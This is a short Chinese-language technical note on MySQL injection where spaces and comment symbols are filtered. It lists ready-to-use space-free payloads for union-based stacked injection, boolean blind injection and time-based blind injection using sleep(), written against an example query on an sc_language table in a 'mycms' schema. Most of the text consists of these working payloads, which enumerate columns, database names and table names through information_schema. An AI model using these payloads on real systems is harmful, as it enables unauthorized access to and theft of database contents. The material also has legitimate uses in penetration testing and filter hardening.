MySQL无空格注入
背景
有很多的常规手法
比如
那个什么
wts
的waf
不让存在空格可以用+
号代替很多时候也可以用
/**/
代替空格
在看代码的过程中,不止一次看到如下类型的代码了
$_SERVER
中的URI
存在注入,这个时候就存在一些限制
- 不能存在空格,
#
号 %20
,+
,%23
等都不能解码/**/
会被分割
所以这里记录一下上面这些限制下,完全不用空格的payload
条件
由于设计的这个场景,不能用任何的注释符号,所以只能求闭合
全程以下面的sql
语句为例
1 | select * from sc_language where language_url='$a' and language_open=1 |
$a
为注入点
联合查询
首先就是联合查询了
- 注入点后面无参数,且是整形注入
- 注入点后面存在其他条件
解释
- 整形无其他条件,比较简单
- 存在其他条件的时候无法闭合,必须用注释,没法用的时候呢
- 定界符
;
- 定界符
判断列数
以有条件为例。payload
这里是堆叠注入,非堆叠大概只能用在整形的后面了
1 | 'union(select(1),(2),(3),(4),(5),(6),(7),(8),(9));select'1'from(sc_language)where(1)or'1 |
查询表名
1 | 'union(select(1),(table_name),(3),(4),(5),(6),(7),(8),(9)from(information_schema.tables)where(table_schema='mycms'));select'1'from(sc_language)where(1)or'1 |
其他数据自行修改
布尔盲注
注意的就是,让我们的payload成为唯一变量
确定数据库名长度
1 | en'and(length(database())=5)and'1 |
查询表名
1 | en'and(select(ascii(substr(group_concat(table_name),1,1))>1)from(information_schema.columns)where(table_schema='mycms'))and'1 |
其他数据自行修改
时间盲注
这种场景下,估计时间盲注是跑不了了
获取数据库名
1 | 'or(if((ascii(substr(database(),1,1))>1),sleep(5),0))and'1 |
获取表名
1 | 'or(if((select(ascii(substr(group_concat(table_name),1,1))>1)from(information_schema.columns)where(table_schema='mycms')),sleep(5),0))and'1 |